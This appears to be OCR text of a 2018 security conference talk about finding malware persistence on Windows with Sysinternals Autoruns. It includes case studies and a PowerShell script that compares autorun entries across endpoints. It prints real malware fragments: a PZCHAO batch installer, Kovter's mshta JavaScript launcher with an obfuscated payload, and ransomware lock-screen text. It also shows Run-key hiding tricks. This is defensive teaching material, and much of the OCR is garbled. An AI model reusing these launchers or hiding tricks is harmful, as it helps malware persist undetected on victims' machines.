Let's dig in to the
| persistence mechanism
world




Persistence wiki

* Persistence is any access, action, or configuration change to a system
that gives an adversary a persistent presence on that system
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Not for all the
malwares

* Ransomware
* Any kind of destructoware
* Memory resident malwares

V

4 m



Malware detection

My hypothesis:

A, easier to catch the persistence mechanism than to keep looking for
continously changing hashes or signatures

B, if we catch the persistence mechanism
e we can realize that there is something wrong going on
* we catch the malware itself



So we need a good tool!




Sysinternals &® Windows Sysinternals

* It was created in 1996 by Mark Russinovich

e Author of Windows Internals books

* Sysinternals utilities to help you manage, troubleshoot and diagnose
your Windows systems and applications


https://blogs.technet.microsoft.com/markrussinovich/

Sysinternals =& Windows Sysinternals

* It was created in 1996 by Mark Russinovich

Nonfiction Books
Windows Internals: Covering Windows Server 2008 R2 and Windows 7, 6th Edition

Windows
Internals

Delve inside Windows architecture and internals—guided by a team of interationally renowned internals experts. Fully updated for
Windows 7 and Windows Server 2008 R2, this classic guide delivers key architectural insights on system design, debugging.
performance, and support—along with hands-on experiments to experience Windows internal behavior firsthand. Learn more. .

e Windows Sysinternals Administrator's Reference

Aindows

Sysint Is..

#E!I'rii of's The Windows Sysinternals Administrator's Reference is the official book on the Sysinternals tools, written by tool author and

2 Sysinternals cofounder WMark Russinovich, and Windows expert Aaron Margosis. The book covers all 70+ tools In detail, with full

chapters on the major tools like Process Explorer and Autoruns. Leam more. .

Windows Internals: Covering Windows Server 2008 and Windows Vista, 5th Edition

See how the core components of the Windows operating system work behind the scenes—guided by a team of internationally
renowned internals experts. Fully updated for Windows Server® 2008 and Windows Vista®, this classic guide delivers key
architectural insights on system design, debugging, performance, and support—along with hands-on experiments 1o experience
Windows internal behavior firsthand. Learn more. ..



https://blogs.technet.microsoft.com/markrussinovich/

nternals

Sysinternals S& Windows Sys

* It was created in 1996 by Mark Russinovich

Fiction Books
Rogue Code: A Novel

Cyber security expert Jeff Alken knows that no computer system is completely secure. When he's called to investigate a possible
breach at the New York Stock Exchange, he discovers that not only has their system been infiltrated but that someone on the inside
knows. Yet for some reason, they have allowed the hackers to steal millions of dollars from accounts without trying to stop the theft.
Learn more. .

ROGUE
CEODE

Trojan Horse: A Movel

It's two years post-Zero Day, and former government analyst Jeff Aiken is reaping the rewards for crippling al-Qaida’s attack on the
computer infrastructure of the Western world. His cyber — security company is flourishing, and his relationship with Daryl Haugen
intensifies when she becomes a part of his team. Learm more.

Zero Day: A Novel

An airliner falls from the sky. A nuclear reactor nearly melts down. An oil tanker runs aground. Jeff Aiken and Daryl Haugen belisve
these incidents are the result of a massive cyber attack that's LIr‘IdEF‘."JEI'_I,-f. The clock is tickcing as H‘IE}! race to ﬂgure out who is behind
it and hoiar 1o 2tan it | esm minre



https://blogs.technet.microsoft.com/markrussinovich/

Autoruns

Great tool to find some persistence menchanisms in Windows

Part of the Sysinternals tools

Autoruns for Windows v13.82

| |%] KnownDLLs I n Winlogon | & Winsock Providers | iz Print Monitors I @ L5A Providers | L* Network Providers -.’Ef:ﬂ WMI | B Sidebar Gadgets I |] Office
3 Everything % Logaon | *J Explorer I @ Internet Explorer ] [,j Scheduled Tasks | % Services I Drrivers | @ Codecs E Boot Execute E Image Hijacks | |%| AppInit
Autorun Entry Description Publisher Image Path Timestamp Virus Total i
ﬁ’ HELM:SYSTEM \CumertContral Set™\Contral SafeBoot ' Atemiate Shell 20090714, 5:49
B cmd.exe Windows parancsfeldolgozd Microsoft Corporation clwindows'system32emdee  2010.11.20. 10:46 L
ﬁ" HELMSOFTWARE \Microsoft'\ Windows \CurrertVersion . Fun 2018.02.09. 19:27 1
m YWMware User Proce... YMware Tools Core Service VWMware, Inc. c:\program files wmware wmwar... 2017.11.30. 1115
ﬁ HKCUMNSOFTWARE \Microsoft \ Windows \CurrentVersionFun 2018.02.25.18:01 b
% BSides File not found: BSidesBp exe
ﬁ HELMSOFTWARE \Microsoft' Active Setup™Installed Components 2018.02.09. 15:40

BN Intemet Explorer Windows parancsfeldolgoza

gl Microsoft Windows  Windows Mail

|_:| n'a Windows gazdafolyamat (Rundll... Microsoft Coporation

[2] Themes Setup Microsoft® Register Server Microsoft Corporation

[=7] Windows Desktop ... Microsoft® Register Server Microsoft Corporation
ﬁ HELMSOFTWARE \Wow6G4 32MNode \Microsoft\Active Setupinstalled Components

B Intemet Explorer Windows parancsfeldolgoza Microsoft Corporation

) Microsoft Windows  Windows Mail Microsoft Corporation

|_:| n/a Windows gazdafolyamat (Rundll... Microsoft Corporation

[m7 Themes Setup Microsoft® Reqister Server Microsoft Corporation

[m7 Windows Desktop ... Microsoft® Register Server Microsoft Corporation
ﬁ’ HELM"Software ' Classes'Directany Background® Shel B\ Context MenuHandlers

|%| Gadgets Microsoft Corporation
£ Task Scheduler

[ ] “Microsoft"Window... Windows gazdafolvamat (Rundll... Microsoft Corpaoration

Microsoft Corporation
Microsoft Corporation

Qldalsav - hizas célja

Swindows system 32 omd exe

Lo T R T o B o

Mowindows syswowbd\omd exe

2T o T o T o T o

c:\program files'windows sideba. .

cwindowssystem 32 undll 32 ...

“program files windows mailwi...
Swindows system 32 vundl3Ze.
Mwindows'system 32vregevrd2..
Swindows'system 32 regsvrd2.

“program files fcB6) windows .

Sowindows syswowsd \wundl 32,
Mwindows syswowbd\regsvri2. .
Mwindows gyewowbd\regevr32. .

2010.11.20. 10:46
2009.07.14. 0:58
2017.03.30. 16:03
200907141114
200907141114
2018.02.09. 15:40
2010.11.20. 10:00
2009.07.14. 0:42
2017.03.30. 15:58
2009.07.14. 0:58
2009.07.14. 0:58
2009.07.14. 5:53
20090714, 2:32

2017.03.30. 16:03




Let’s catch some malwares - CrossRAT
(even if the AV ignores it)

2 engines detected this file

SHM-2 56 15af5bbf3c8d5e5dba 11dTc3dT 2208024 THAM2da T4 Td5c3 34T 806T 1 5a 645
File name hmaré.jar
Fle sizg 21733 KB
..i Last analysis 2018-01-2507:13:07 UTC
. TN LY 00 413
Detection Details Relations Commumnity n
Microsoft A Trajan:iavas Truptous TrendMicro-Hauselall A Suspicious GEMFATVD123
Ad-Aware & AegisLab &
AhnLab-v3 ] Alibaba ]
AlYac ] Antiy-AVL o
Arcabit ﬁ Aurast ﬁ
Avast Mobile Security & AVG &
Avira ] Avware ]



Let’s catch some malware -

CrossRAT
(even if the AV ignores it)

Malware with cross platform capability.
Targets Windows, Linux, and MacOS.

,believed to be developed by, or for, the Dark Caracal
group”

Written in Java programming language,

so easy to reverse engineer ©




Let’s catch some malware - CrossRAT
(even if the AV ignores it)




Let’s catch some malware - CrossRAT

(even if the AV ignores it)
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Let’s catch some malware —
PZCHAO
(even if the AV ignores it)

A malware with cryptocurrency miner capabilities ©

PZCHAO used by Iron Tiger (Chinees APT according to
Bitdefender)

First discovered in South Korea in July 2017.
Got its name from the pzchao.com subdomains

The remote access trojan component is GhOstRAT or very
similar.

GhOstRAT used by Lazarous (North Korean APT according
to Kaspersky experts)

It was used against military and enterprise networks.
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Let’s catch some malware — PZCHAO
(even if the AV ignores it)




Let’s catch some malware — PZCHAO
(even if the AV ignores it)
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Let’s catch some malware — PZCHAO
(even if the AV ignores it)
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Let’s catch some malware — PZCHAO
(even if the AV ignores it)

decho off

netl stop UIODetect

net stop Ul@Detect

sc stop UIGDetect

cd %systemroot%\temp

set "str=HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
for /f "tokens=2x" %%a dn ('reg query "%str%" /v NUMBER_OF_PROCESSORS 2*>nul') do set "a=%%b"
echo %a% <nul&if %a% GEQ 2 (goto upl) else goto del
tupl

net stop moenro

sc delete moenro

net stop moenroexe

s¢ delete moenroexe

netl stop WmiApSvr

net stop WmiApSvr

s¢ stop WmiApSvr

sc delete WmiApSvr

netl stop wmiapsrv

net stop wmiapsrv

sc stop wmiapsrv

s¢ delete wmiapsrv

attrib -s =h -r %systemroot%\system\oracle.exe

attrib =-s ~h -r Zsystemroot%\system3?\wbhem\wmiapsrv.x
attrib =s =h -r %systemroot%\syswowbd\wbem\wmiapsrv.#*
copy wmiapsvr.exe %systemroot%\system3Z\wbem\ /Y
copy wmiapsvr.exe %systemroot%\syswowtd \wbem\ /Y



Let’s catch some malware -

kovter
(even if the AV ignores it)

Kovter is a pervasive click-fraud trojan

Newest samples have fileless capability




Let’s catch some malware - kovter

(even if the AV ignores it)

»” o W
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8 paysafe (D kash

PIN kéd Osszeg

.‘.ZBu&pc',t‘ o N [—2—5-000 -l

City: Budapest

Fizetés PaySafeCard Fizetés Ukash
FIGYELEM! A szamitogép meg van tiltva legalabb az egyik ok miatt az

alabbiak kozul. Hol lehet vasaroini a PaySafeCard?

On megsértette «A szerzfi é5 szoms2édos jogokrols 52610 Wrvémyt (vided, zene, szoftver)
¢s 3 jogellenes médon hasandlja vagy terjeszti a szerzéi jog altal védett tartalmat, Ogy
megsértve Magyarorszdg Bintetd Torvénykonyvének a 128, cikkét.

A  kizelden kaphaté. Magyarorszigon szimos
trafikban, boltban és bendnkiton juthatsz hozza a
PaySafeCardhoz.

A Buntetd Torvénykdnyv 128. cikke eldir egy 200 és 500 kozotti minimalbémek megfelels
birsagot, Metve a szabadsigtol vals 2 és 8 év kozotti megfosztast. oWV - Q
omv avanti

On mir  megtekintett vagy terjesztett tiltott  pornograf tartaimat

(gyermekpornografia/dllatokkal vald fajtalankodds és stb.), ugy megsértve Magyarorszag

Buntetd Torvénykonyvének a 202, cikkeét.



Let’s catch some malware - kovter
(even if the AV ignores it)

| KnownDLLs I ' Winlogon | ‘@, Winsock Providers | -Q Print Monitors | @ LSA Providers I L" Network Providers ﬁ WMI I HY Sidebar Gadgets | l‘_] Office
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HKCUSSOFTWARE \Microsoft\Windows Cument Version\Run 2018.02.25. 16:22

S Defad) o clusen'bidesbp2018\appdatallocal\dde3H 1\5% 35T bt 201802251622



Let’s catch some malware - kovter
(even if the AV ignores it)

:_g Lister - [c\Users\BSidesBP-2018\AppDataiLocaldde38f1453b3151.bat]

File Edit Options Encoding Help
start "2tiFiVIKK3WDtYJbU26" "ZLOCALAPPDATA%N4de3Bf1\ddB61ec . 472dB737"

w ot Users\BSidesBP-2018\AppDatahLocal\d de38f1Y*

+Mame Ext Size
Gl <DIR>
[T ]53b3151 bat 71

M ddoslec 472d8737 40435



Let’s catch some malware - kovter

(even if the AV ignores it)
4 |8 Szamitogép * | Név Tipus Erték

> -l HKEY_CLASSES ROOT ab] (Alapértelmezett) REG_SZ 5clcbéie
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4| shell
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[ mymy

»- |l Policies

b - Sysinternals

s Whware, Inc,

oo WowB432Node (| 1]

Szamitdgép\HEEY_CURREMNT_USERN\Software\ Classes\ 47248737



Let’s catch some malware - kovter
(even if the AV ignores it)

4 M| Szamitsgép

|}

s~ HEKEY_CLASSES ROOT

4- | HKEY_CURREMT_USER

e

, AppEvents

. Console

. Control Panel

. Environment

, EUDC

. Identities

. Keyboard Layout
. Metwork

. Printers

. Software

, AppDatalow

| Classes

----- , A72d8737

..... | ARM

a- | SclchBe

4| shell
a-J open

L.l command
» - | Awutoruns.Logfilel
»- 1, Local Settings
, Ghisler
; Microsoft
| mymy
, Policies
| Sysinternals
; VWMware, Inc.
Wowt432MNode

-

m

-

Mév Tipus
ab| (Alapértelmezett) REG_SZ

Erték
"CAWindowshsystern32imshta.exe” "javascriptialLBSg="YhX";Y5)0=new ActiveXObject("W5cript. Shell");FEMNkdww="3nALeOw", CLUQ2=Y5J0.RegRe

1|

T

Szamitdgep\HEKEY_CURRENT_USER\Software\ Classes\Sclcbbcshellhopen\command



Let’s catch some malware - kovter
(even if the AV ignores it)

e "C:\Windows\system32\mshta.exe"
 "javascript:alL85g="YhX";Y5J0=new ActiveXObject("WScript.Shell");
 fENk4ww="3nALeOW";

* CIJQ2=Y5J0.RegRead("HKCU\\software\\mymy\\kgmijit");

* CAce7v="g";

e eval(ClJQ2);

* U4IjN="medmCYsg";



Let’s catch some malware - kovter

(even if the AV ignores it)

zOhxyohElywS3ehuMh="yNBOFGTAZ7S5TRYcpr2z";

iNm9ZgKEiDkTpGPbrYBhig="5M25CcXyjHFasSihoabWQblI8b2KS8T";
DFspNJGONpcduhHIBvDGH="MNphSEoviorgda2l14nY4h";

IEXKNBbYTNJLY Qo3 UuViABZU="5t40F5i3gMgWIkiJOGTYEQINEBcnwlhmFGz7yg";

oTFZMFSLXIRwwAQwinipEhRU="k3yMPY SUAVwWCWupSMIGnERwWWDWUJ00yaWUrha8cTY";
hE2wKCNon3XPYUjzWmKG="bzzufSFCnvsOuupHN7C60ee7GgkvN23g0x3y";
CuYwsdAzwG2ZmMeMHLG="vSMEveMBNisN7EIIV3clpcZinKKvnKBc";
BPVQEYIMbkokKXnnLkEEn="udKYhGogWYyHIF58zW5nz",
OF8U="0E2C44100E162C035E2A10305560230F360503212E1ASEGE196C124F5E0C2D37221B3A1A2F2B23024855938523
65A040E21002D113C2E1CA70FZFO73B252D483A74633E4E3621513E1521342670404118B02423D1D380339151C1F552F
140C290D6EAD23331B321B2D587F141827262322387C38631A0C300C321D34403E0007230F3C4468211227343E3B512
11B0S2A03521F3F4E05525B3B00191630D6RB6E0B22347225405D42080B3A4314040366481D24060212166A1307105601
00381514502F1F104D6E350025282E47252133 7032192910073 2A421E057F3D201F2F08726211083B32740262554C2F
1FO03D1BICIB2FIDISIE2FO7SASEBE42 71 72F22203E3F2CTFA8623F0D4A27S1B5B7118303A35041F/5000E28301 7061520
ODOS7E191A09367272180B0F0OF35012A627B320E3F63262E0D311726351B53090B365 7/ 701E3F5220313E27255E050C25
003C190D7F3A634F0ELIS2C4D0OBO01A030758585548510740615D457/F79622006353A432661555C4975625C570F12 764
FlED F156F2619462B22133919341D332F457E6A14232F1C103A3DEF271202395A4446574E2B5F425A3C0F41053E031B2
23537264B68034B2C5653070A7B7B5CA44551627110610103B45530F00201319767E2C0229492266061E2F011D232726
29405D0146525262548145204270D135E022B442E0C3F372406382764750F7006163410141F124C702002180B821005215



Verify Autoruns - New Unsigned Files
Unsigned files added to autoruns!
4 Unsinged Non-MS files added.

11:01
o 4 1 BH SWE  5016-02-15

Verify Autoruns - New Image File
Unsigned MS files added to autoruns!
1 Unsigned MS files added.

11:11
¢ a4 1 B SWE  5016-02-15

How could we utilize Autoruns better?

Verify Autoruns - Unsigned File Has
New Hash

Unsigned Binaries with new hashes!

1 unsigned files with new hashes added.

11:11
o 4 1 H SWE  5016-02-15

Verify Autoruns - New Image File
Non MS files added to autoruns!
3 Non-MS files added.

11:08
¢ 4 1 B SWE  5016-02-15




How could we utilize Autoruns better?

Verify Autoruns Alert

Unsigned non-Microsoft files added

MNew Unsigned Non-MS binaries added to Autoruns!
Mumber of new unsigned Non-MS autoruns: 8.
Click ‘Log’ to view the full report.

To check the new files against Virus Total click ‘Check Virus Total’.

See report Ch\Users\robingra\AppData\Local\Temph\AutorunsCLog_20160215-1148.txt

Type
Unsigned Non-MS

File

\\contoso.com'sysvol

Date
2008-11-18 2046

Signer

Company

Versior

Unsigned Non-M5

\Wcontoso.cominetloc

2013-03-18 19:19

Unsigned Non-MS

\\contoso.com'netloc

2012-05-01 18:20

Unsigned Non-MS

\\contoso.cominetloc

2012-05-01 18:20

Unsigned Non-M5

\Wcontoso.cominetloc

2012-05-01 18:20

Unsigned Non-MS

\\contoso.com'netloc

2012-05-01 18:20

MNon-M5S

chprogram files (x86)

2016-02-09 02:20

(Verified) Google Inc

Google Inc.

48.0.25

Non-M5S

chusersh, \apg

2016-01-22 18:55

{(Verified) Spotify AB

Spotify Ltd

1.0.21.7

Non-M5S

chsysinternals\psexec

2014-03-30 21:50

(Verified) Microsoft C

Sysinternals - www.sy

2.11.0.0

Mew Unsigned Hasl

chusersh \apg

2016-02-12 21:48

Summmary‘ | Log | ‘ Check New Files With Virus Total | | Check All System Autoruns With Virus Total | | Close




How could it be used in a corporate network?

Al-l‘nn.l.IIS* ysinten

File

Optlons Help File

Entry Options

1= Autorun: - sysintern

Help

Entry

HdEALAEE

Fitte '3 Autoruns - Sysinten

L=t |

-

Ready.

I Windows Entries Hidden.
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Q R H E‘] A E 3 Everything ile  Entry Options Help
File Entry || . HEAMAEY mc[ ]
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Autorun Entry Qm-mM\f};: = Everoywﬂr:in\ @; HKLM\SYSTEI . %) Known.DLLs . Winlogon._ I & winsock Providers I =Y P!'int Monitors I e LSA Providers | £ Network Providers I ﬁ WMI I | Sidebar Gadgets I I‘J Office
Q HKLM\SYS Q FKCUNSOF [ — BN omd.exe 3 Everything é Logon | '% Explorer I @ Internet Explorer ]— [ﬁ Scheduled Tasks | % Services I Drivers I IE‘ Codecs I ™ Boot Execute ™ Image Hijacks I E] AppInit
BE cmd ‘ W (Defi Autorun Entry Q HK:LM\SOFFW Autorun Entry Description Publisher Image Path Timestamp
& HKUNSOFN | e iy wisoF 2 HKUNSYS U VMwarell| st HKLM\SYSTEM\CurentCortrolSef\Cortrol\SafeBoot \AtemateShel 2009.07.14. 5:49
ﬂ Wi BN Inten ¥ cmd. Q HKCUNSO BE cmd.exe Windows parancsfeldolgozd Microsoft Corporation c\windows \system 32'cmd exe 2010.11.20. 10:4€
i HKCL\SO () Micn KLMNSOFY | V) ] (Defaut || e HKLM\SOFTWARE \Microsoft\Windows\ CurrentVersion\Run 2018.02.09. 1923 _
i W i ware User Process hware Tools Core Service ware, Inc. c:\program files \wmware wmware tools\wvmtoolsd exe g 1118
V) AT (Def n/a G vm @HKLM\SOFFW VMware User P VMware Tools Core S Vhware, | \program fles¥ A Is\wmtoolsd 2017.11.30. 11:1€
Q%\SDF ] Ther|| 2 EEEES Il RSty (W d HKCU\SOF TWARE \Microsoft Windows \Cumert Version\Run 2018.02.18. 19:0
Inten | (Defz 3 [v] 51 (Defaut File not found: User64.
[ Wind i) (Defe 5| (Defautt) ile ot foun exe
5“ Micn @r HKLMA\SOF] Q’ HKLMYSOF Q HKLM\SOFTWARE \Microsoft®\Active Setup’nstalled Components 2018.02.09. 19:40
n/a Intemet Expl Wind csfeldolgozd Microsoft Corporati wind 32cmd 2070.11.20. 10:4€
7] Intent BN Inten [27] Themes BR Intemet Explorer indows paran olgozd icros: rporation c\windows \system e A . 10:
[85] Ther, g Micn L;‘ Micre 57 Window (g) Microsoft Windows Windows Mail Microsoft Corporation c\program files\windows mailwinmail exe 2009.07.14. 0:58
& | [®7] Wing D /e D néa Q HKLMSOFTW! D n'a Windows gazdafolyamat (Rundl... Microsoft Corporation c\windows'system 32'vundll32 exe 2017.03.30. 16:02
7 D I Q HKLMNSOF 8] Ther lﬂ Then [®7 Themes Setup Microsoft® Register Senver Microsoft Corporation cwindows system 32'regsvr3Z exe 2009.07.14.1:14
E; =k ey | Irr?en 53] Wind Iﬂ Wing & [¥] =7 Windows Desktop Update Microsoft® Register Server Microsoft Corporation c\windows'system 32regsvri2 exe 2009.07.14. 1:14
L& =R () Mien Q HKLMSoft Q’ HKLM\SOF Q HKLM\SOFTWARE WowE432Node Microsoft \Active Setuplnstalled Componerts 2018.02.09. 19:40
E @) HKLM D n/a 5 Gadl ﬁ Ints V| [BH Intemet Explorer Windows parancsfeldolgozd Microsoft Corporation c\windows'\syswow64'\cmd.exe 2010.11.20. 10:00
E BE | =7 Ther = gllqilsmEd = &N 527 Window _‘J Microsoft Windows Windows Mail Microsoft Corporation c:\program files (86} windows mail'winmail exe 2009.07.14. 0:42
E =il 7] Wind .a W i‘ erg @, HKLM\Softwar D nfa Windows gazdafolyamat (Rundl... Microsoft Corporation cwindows syswowb4 undll32 exe 2017.03.30. 15:5E
K-L.' D T Q HKL_M\S"R‘ & D \Mlc D n/a | Gadgets [®7 Themes Setup Microsoft® Register Senver Microsoft Corporation cwindows \syswowbd \regevri2 exe 2009.07.14. 0:58
14 =N %] Gady = D - lﬂ Then =) Tasllq_‘Sd'ledula: [57 Windows Desktop Update Microsofi® Register Server Microsoft Corporation c\windows'\syswowb4 vegsvrl2 exe 2005.07.14. 0:58
sk =R {23 Task Sched \M!c 55 Wing D \Microst Q HKLM"Software\Classes'Directory Background'Shell Ex\Context MenuHandlers 2009.07.14. 5:53
% Q HKLM» E % ::m % ::m @) HKLM" Safty B D \Microst %) Gadgets Oldalsav - hizas célja Microsoft Corporation c:\program files\windows sidebar\sbdrop .dl 2009.07.14. 2:32
B i ic | Gadg = {23 Task Scheduler
y =]
E {2 Task S¢ = D \Mic ) Task Sched 2] :;!“m D “Microsoft\Windows Autochlk"\Praoxy Windows gazdafolyamat (Rundl... Microsoft Corporation c:\windows'\system 32'rundll32 exe
E k D Mic D WMict D !cms( ] D \Windows"Disk Diagnostic’ ‘Windo... Windows gazdafolyamat (Rundll... Microsoft Corporation cwindows gystem 32rundl 32 exe
U ooy el < B [ \Wig L] Wieros \Microsoft\Windows\Net Trace'\GatherNetworklnfo G \windows system32\gathemetworkirfo vbs
E \ X E;i WMicy D \M!cms( D “Microsoft " Windows"System Restore".SR Windows gazdafolyamat (Rundl... Microsoft Corporation cwindows'system 32'vundll32 exe
l: k D Mic D Micy D \Micras( D “WMicrosoft\Windows  TepiptIp AddressConflict 1 Windows gazdafolyamat (Rundl... Microsoft Corporation cwindows'system 32'undll32 exe
4 | [EX D \Mici D “WMicrosoftWindows* TepiptIpAddressCorflict2 Windows gazdafolyamat (Rundl... Microsoft Corporation cwindows system32rundll32 exe
\ D \Mici D “Microsoft\Windows " Windows Fittering Platform*Bfe(... Windows gazdafolyamat (Rundll... Microsoft Corporation cwindows'system 32'vundll32 exe
) [ Wia a] il d
Ready. < l'—i
—_—
Ready.
| —— Ready.
—_—
—_— -
Ready. | Windows Entries Hidden.
ioady ——




Write-Host "BS5idesBp Z2018"
Spath = "c:“\BS5ide=sBp\"
Socourence = =

Sa = B{}

SfileNames = Get-ChildItem -Fath Spath -Recurse -Include *.csv
foreach(5fileName in 5fileNames) {
foreach(8line in Get-Content S$fileName) {
Sline=8line.S5ubstring($line. Index0f (", ")+)
SfileName=5plit-Fath 5$fileName -leaf
if (Sa.ContainsEev(51line)) {
Sa.5line[0]++
As usual — $a.$line += SfileName
with a handy Lisel
tool sa.Sline = G0
3a.51line += [int]_
2a.51line += 5SfileName

1
foreach(%i in Sa.kevs) {
if ($a.51i[7] -1t Soccoorence) {
Write-Host (" 'r'pautorun key: "+ §1i)
Write-Host ("Humber of ggourence: " + §a.$i[0])
Write-Host ("Files: " 4 8a.5%i[ ..5%a.count])




Let’s find the odd-one-out!

Example network:

e ~100 PCs

» 3 different hardware generations
2 different OSs (Win7 & Win10)

* 4 groups of users (management, office,
development, support)

* Let’s merge the results!




1. step: sampling
Autorunsc - finds persistence mechanisms offline

autorunsc.exe -a * -nobanner -c -o autoruns.csv



2. step: collection

Collect the samples from the endpoints.




3. step: merging

* Merged data:

:~BSidesBpipowershell.exe —executionpolicy bhypass —file bh.psl
BSidesBp 2018

ntorun key: "HELM~SO0FTWARE“~Microsof tUWindows~Currentlersion~Hun'' ., "UMuar
e Uszer Process'".enabled."Logon',.Sysztem—wide, ""UMuare Tools Core Service'."UMware.

Inc."."c:sprogram filessumuwaresuvmuare tuulﬂhumtuulﬂd Exe",iﬂ 2.8.7847 . """E “Pro
gram FilessUMwareUMuare Toolszswumtoolsd.exe'" —n vnmus'

umbher of occurence: 1

iles: computer98.csv

ntorun key: "HELM~SO0FTWARE“Microsof t:UWindows“CurrentlUersion~Hun"' . " "BSide
Bp 2018".enabled, "Logon".System—wide, "Windows Szamoliagép",."Microsoft Corporatio
Yoo iswindowsssystem3d2scale cexe' 6.1 76HA. 16385 . 'calc.exe"

umher of occurence: 3

iles: computerdl.csv computerld.csv computerdS.csu

That is the odd-one-out!



Let’s hack the autoruns — easy to hide?

My easiest example: HKCU/Run/default key

E

Fajl Szerkesztés Meézet Kedvencek Sdgé

Szamitdgep \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
ClosedCaptioning Al Mew Tipus Erték

E'“”dsm'des ) a8) (Alapértelmezett) REG_SZ
onnecte .earc . - \LocalMicrosoft\OneDr..,
ContentDeliveryManager Karakterlanc szerkesztése e

xieh\ShieCtrl exe”
MLocal\ Tresorit\ 0.8\ Tres..,

wog

pt\VeraCrypt.exe" /q pre...

Controls Felder -
Controls Folder (Wow64) Azonositd neve:
CuratedTileCollections |{A|apérlelmezeﬂ}

DeviceAccess Azonosito érteke:
DeviceCapabilities “ |

Diagnostics
Eolore e
Ext

Extensions

FileAssociations
FileHistory
GameDVR

Group Policy
Helographic
HemeGroup

ime
ImmersiveShell
Internet Settings
Live

Leck Screen
Mobility
Metifications
OnDemandinterfaceCache
OOBE
PenWorkspace
Policies
PrecisionTouchPad
Prelaunch

Privacy




Let’s hack the autoruns — easy to hide?

environmental variable trick 1# - %username%.exe

| [%] KnownDLLs | i Winlogon I I"L Winsock Providers I iz Print Monitors | @ LSA Providers | L' Metwork Providers :Efa WML | . Sidebar Gadgets | |] Office
D7 Everything % Logon I :J Explorer | ﬂ Internet Explarer ] hj Scheduled Tasks I % Services | DCrivers I I@ Codecs E Boot Execute E Image Hijacks | |%| AppInit
Autorun Entry Description Publisher Image Path Timestamp Wirus Total il
ﬁ HELMSY STEM CumentCaontrol Set*Contral'Safe Boot  Atemate Shell 2009.07.14. 5:49
Bl cmd.exe Windows parancsfeldolgozd Microsoft Corporation clwindows'system3demdexe  2010.11.20. 10:46 L
ﬁ HELMSOFTWARE Microsoft Windows \Cument Version . Run 2018.02.09. 19:27 1
ﬂ Whware User Proce... YMware Tools Core Service Whware, Inc. o vprogram files wmware wmwar... 2017.11.30. 11159
ﬁ HECLMSOFTWARE \Microsoft W Windows \Cumrent Version . Run 2018.02.25. 18:01 B
| BSides File not found: BSidesBp exe
ﬁ’ HELMYSOF TWARE \Microsoft\Active Setuphlnstalled Components 2018.02.09. 15:40

B Intemet Explorer Windows parancsfeldolgozd Microsoft Corporation
gl Microsoft Windows  Windows Mail Microsoft Corporation
I_] n/a Windows gazdafolyamat (Rundll... Microsoft Corporation
[®7] Themes Setup Microsoft® Reqister Server Microsoft Corparation
[m7] Windows Desktop ... Microsoft® Register Server Microsoft Corparation

ﬁ HELMYSOF TWARE WowE4 32Mode \Microsoft\Active SetuptInstalled Components

Bl Intemet Explorer Windows parancsfeldolgozd Microsoft Corporation
g Microsoft Windows  Windows Mail Microsoft Corporation
I_] n/a Windows gazdafolyamat (Rundll... Microsoft Corporation
[57 Themes Setup Microsoft® Reqister Server Microsoft Corporation
[m7) Windows Desktop ... Microsoft® Register Server Microsoft Corpaoration

ﬁ HELM*Software*Classes DirectonyBackaground®.Shell Bx'\Context MenuHandlers
|%| Gadgets Cldalzdv - hizas célia Microsoft Corparation
3 Task Scheduler
I_] “WMicrosoft Window... Windows gazdafolyamat (Rundll... Microsoft Corporation
[ I_] “WMicrosoft'\Window... Windows gazdafolyamat (Rundll... Microsoft Corporation
[F] 2] \Micrasaft\Window

0o 0o 0 00

0o 0 0 00

C

Mwindowssystem 32 emd exe
Mprogram files windows mail*wi ...
Mwindowssystem 32 wundll3Z2 e
Mwindowssystem 32 regsvrdZ.
Mwindowssystem 32 regsvrd?.

Mwvindowssyswowbd\omd exe
Mprogram files (86} windows ...
Mowindowssyswowbvundll 32
MwindowssyswowbSregswrd?.
Mwindowssyswowbd\regsvrd?.

Mprogram files“windows sideba...

‘windowshsystem3Z2undll32 e
o windowssystem 32vundll 32 ...

cwmindowesvevstem A aathemet

2010.11.20. 10:46

2009.07.14. 0:58

2017.03.30. 16:03

2009.07.14. 1114
2009.07.14. 1114

2018.02.09. 19:40
2010.11.20. 10:00

2005.07.14. 0:42

2017.03.30. 15:58

2009.07.14. 0:58
2009.07.14. 0:58
2009.07.14. 5:53
2009.07.14. 2:32

2017.03.30. 16:03
2017.03.30. 16:02
2009 06 10 21-3I6




-

BSidesBp2018
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Let’s hack the autoruns — easy to hide?

environmental variable trick 2# - %comspec%.exe

|’£] KnownDLLs I

ﬁ Winlogon I

ﬂl Winsock Providers I

iz Print Maonitors I

@ LS4 Providers

= WM

EF Metwork Providers |

[ Sidebar Gadgets

I |] Office

& Everything | %Logcn I :-J Explorer I 4 Internet Explorer I—H Scheduled Tasks I %Servic&s I Drivers I @Cndecs I [ BootExecut= I [ 1mage Hijacks I |’-9 Applnit

Autorun Entry

Description

Q HELM®SYSTEM\CumentControl Set\Control Safe Boot \Altemate Shell

BEE cmd.exs

Windows parancsfeldolgoza

@ HELM%SOFTWARE \Microsoft \ Windows CumentVersion Run

ﬂ YWiware User Process

Whware Tools Core Service

@ HKCILMSOFTWARE \Microsoft ' Windows CumentVersion Run

[+ JDEfault)

Windows parancsfeldolgoza

ﬁ HEKLM*SOFTWARE \Microsoft* Active SetuptInstalled Compaonerts

EX Intemet Beplorer

|l Microsoft Windows

Lj n/a

(2] Themes Setup

(=7 Windows Desktop Update

Windows parancsfeldolgoza
Windows Mail

Windows gazdafohamat (Rundll...

Microsoft® Register Server
Microsoft® Register Server

@ HELMYSOFTWARE Wowe43Z2Mode \Microsoft*Active Setupnstalled Components

EX Intemet Bxplorer

| Microsoft Windows

Lj n/a

[E7] Themes Setup

[=7] Windows Desktop Update

Windows parancsfeldolgoza
Windows Mail

Windows gazdafohyamat (Rundi...

Microsoft® Register Server
Microsoft® Register Server

ﬁ HELM"Software\Classes \Directon™ Background*.Shel Ex"Context MenuHandlers

|%| Gadgets
5 Task Scheduler
LJ “Microsoft \Windows  Autochlk Proogy

Cldalsav - hizas celia

Windows gazdafolyamat (Fundl...
[ LJ “Microsoft \Windows'\Disk Diagnostic ' Microsoft-Windo... Windows gazdafolyamat (Rundll. ..

12| “\Microsoft\Windows\Net Trace \GatherNetworkInfo

Lj “WMicrosoft \Windows'\SystemRestore SR
[ “Microsoft Windows '\ TepiptpAddressConflict 1

Windows gazdafohyamat (Rundl...
Windows gazdafolyamat (Fundll...

Publisher

